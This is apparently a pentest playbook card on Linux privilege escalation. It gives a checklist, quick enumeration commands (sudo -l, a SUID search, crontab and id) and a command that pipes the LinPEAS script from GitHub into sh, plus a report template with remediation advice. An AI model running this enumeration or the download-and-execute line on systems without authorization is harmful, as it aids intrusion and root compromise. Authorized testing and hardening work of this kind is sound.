Run automated tool first (LinPEAS / linuxprivchecker)
Check all quick-win vectors: sudo -l, SUID, cron, PATH
Cross-reference automated findings with manual checklist
Attempt highest-confidence vector first
Try kernel exploit if all other vectors exhausted
Document successful escalation path for report
🎯 Operational Context
Use when: Linux shell obtained — quick enumeration commands to identify privilege escalation paths in under 5 minutes.
Think Dumber First: Four commands: sudo -l, find / -perm -4000 -type f 2>/dev/null, cat /etc/crontab, id. These four cover sudo misconfigs, SUID binaries, cron jobs, and group membership — the four most common Linux privesc categories.
Skip when: Already root — skip enumeration and proceed to post-exploitation objectives.
⚡ Tactical Cheatsheet
Command
Tactical Outcome
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
Finding Title: Linux Privilege Escalation Vector Identified via Quick Enumeration
Impact: Rapid 5-minute manual enumeration identifies SUID binary abuse, sudo misconfiguration, or cron job hijacking that allows privilege escalation to root without additional exploitation.
Root Cause: Linux system not hardened against standard privilege escalation techniques. Default or misconfigured permissions not reviewed post-deployment.
Recommendation: Run LinPEAS against all Linux systems during hardening reviews. Apply CIS Linux Benchmark. Audit SUID/SGID binaries and remove unnecessary bits. Review sudo configurations against GTFOBins escape catalog.